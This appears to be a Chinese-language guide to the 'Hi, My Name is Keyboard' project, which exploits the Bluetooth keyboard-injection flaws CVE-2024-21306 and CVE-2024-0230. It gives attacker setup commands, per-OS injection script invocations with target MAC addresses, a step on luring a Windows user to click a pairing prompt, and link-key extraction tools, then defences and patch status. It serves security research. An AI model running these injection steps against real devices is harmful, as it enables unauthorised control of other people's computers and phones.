CVE-2024-21306与CVE-2024-0230Hi, My Name is Keyboard漏洞利用指南【免费下载链接】hi_my_name_is_keyboard项目地址: https://gitcode.com/gh_mirrors/hi/hi_my_name_is_keyboardHi, My Name is Keyboard项目是一个针对CVE-2024-21306与CVE-2024-0230等蓝牙键盘漏洞的开源工具集提供了多种操作系统的键盘注入攻击演示。通过该项目安全研究者可以深入了解蓝牙键盘配对机制中的安全缺陷以及如何通过技术手段防范此类攻击。漏洞原理蓝牙键盘的隐形威胁 现代设备广泛依赖蓝牙键盘进行输入但CVE-2024-21306与CVE-2024-0230漏洞暴露了蓝牙配对流程中的严重安全缺陷。攻击者可通过伪造蓝牙键盘设备在无需用户确认的情况下强制配对并注入恶意指令实现对目标设备的远程控制。这类攻击主要利用以下漏洞点零交互配对部分系统在蓝牙开启时会自动接受键盘配对请求设备身份验证缺失未能有效验证蓝牙设备的物理合法性链接密钥泄露Magic Keyboard等设备存在链接密钥存储漏洞环境准备快速搭建测试平台 ⚙️硬件要求Ubuntu 22.04主机推荐Broadcom蓝牙适配器如Kinivo BCM20702A0目标测试设备Android/iOS/macOS/Linux/Windows依赖安装# 更新系统 sudo apt-get update sudo apt-get -y upgrade # 安装基础依赖 sudo apt install -y bluez-tools bluez-hcidump git \ python3-pip python3-setuptools \ libbluetooth-dev # 配置蓝牙兼容性模式 sudo sed -i s|ExecStart/usr/lib/bluetooth/bluetoothd|ExecStart/usr/lib/bluetooth/bluetoothd --compat|g /lib/systemd/system/bluetooth.service sudo systemctl daemon-reload sudo systemctl restart bluetooth # 安装Python依赖 git clone https://github.com/pybluez/pybluez.git cd pybluez sudo python3 setup.py install python3 -m pip install pydbus # 编译bdaddr工具 cd ~ git clone https://github.com/bluez/bluez.git cd bluez gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I. sudo cp bdaddr /usr/local/bin/代码获取git clone https://gitcode.com/gh_mirrors/hi/hi_my_name_is_keyboard cd hi_my_name_is_keyboard跨平台攻击演示实战操作指南 Linux系统攻击演示当Linux主机开启蓝牙并处于可发现状态时攻击者可利用BlueZ协议栈漏洞实现键盘注入。下图展示了Ubuntu系统的蓝牙设置界面此时设备正处于易受攻击状态攻击步骤确认目标Linux主机蓝牙处于可发现状态执行注入脚本./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C脚本将自动完成设备伪装与配对注入Tab键击10秒macOS系统攻击演示macOS系统在Magic Keyboard断开连接时存在短暂的安全窗口攻击者可通过伪造键盘设备实现注入。下图展示了macOS系统在攻击过程中的屏幕状态变化攻击步骤确保目标Mac已配对Magic Keyboard并处于连接状态执行注入脚本./keystroke-injection-macos.py -i hci1 -t 50:DE:06:A8:E1:CA -k 1C:57:DC:88:55:02断开目标Magic Keyboard连接触发攻击脚本将自动注入打开浏览器并执行搜索的指令Windows系统攻击要点Windows系统需要用户点击通知才能完成攻击流程具体步骤如下确保目标Windows已配对蓝牙键盘并关闭该键盘执行注入脚本./windows-poc.py -i hci0 -k 3C:A6:F6:EC:5B:ED -c 04:33:C2:19:CD:3B诱导目标用户点击添加设备通知用户关闭配对对话框后脚本将注入Tab键击5秒防御措施保护你的设备安全 ️系统层面防护及时更新系统Android升级至2023-12-05安全补丁级别iOS升级至17.2或更高版本macOS升级至14.2或更高版本Linux更新BlueZ至最新安全版本蓝牙使用规范仅在需要时开启蓝牙禁用自动配对功能开启蓝牙时避免将设备设为可发现状态硬件层面防护使用带有物理开关的蓝牙设备定期更换蓝牙设备链接密钥考虑使用USB有线键盘替代蓝牙键盘高级防护策略开启macOS的锁定模式(Lockdown Mode)配置Linux系统蓝牙白名单监控异常蓝牙连接请求漏洞影响范围与修复状态 受影响设备操作系统受影响版本修复状态Android4.2.2-14部分修复iOS16-17.117.2已修复macOS12-14.114.2已修复LinuxBlueZ 5已发布补丁Windows10/11部分缓解受影响Apple外设Magic Keyboard (A2450)Magic Keyboard with Touch ID (A2449)Magic Mouse (A1657)其他蓝牙输入设备项目结构与核心文件 该项目包含多个平台的攻击演示脚本和工具模块注入工具keystroke-injection-android-linux.py - Android/Linux注入脚本keystroke-injection-macos.py - macOS注入脚本keystroke-injection-ios.py - iOS注入脚本windows-poc.py - Windows注入脚本链接密钥提取工具read-link-key-bluetooth.py - 蓝牙方式提取密钥read-link-key-from-mac.py - Mac USB端口提取密钥read-link-key-lightning.py - Lightning端口提取密钥核心模块injector/agent.py - 蓝牙HID代理实现injector/hid.py - HID设备模拟injector/client.py - 蓝牙连接管理总结与展望 CVE-2024-21306与CVE-2024-0230漏洞揭示了蓝牙输入设备生态中的基础性安全问题。Hi, My Name is Keyboard项目通过开源演示的方式帮助安全社区更好地理解这些漏洞的原理与影响。随着蓝牙设备的普及类似的物理 proximity 攻击将持续对用户安全构成威胁。建议普通用户保持系统更新安全研究者可基于本项目进一步探索蓝牙协议的安全边界共同推动更安全的蓝牙生态建设。注意本项目仅用于安全研究目的未经授权使用可能违反法律法规。【免费下载链接】hi_my_name_is_keyboard项目地址: https://gitcode.com/gh_mirrors/hi/hi_my_name_is_keyboard创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考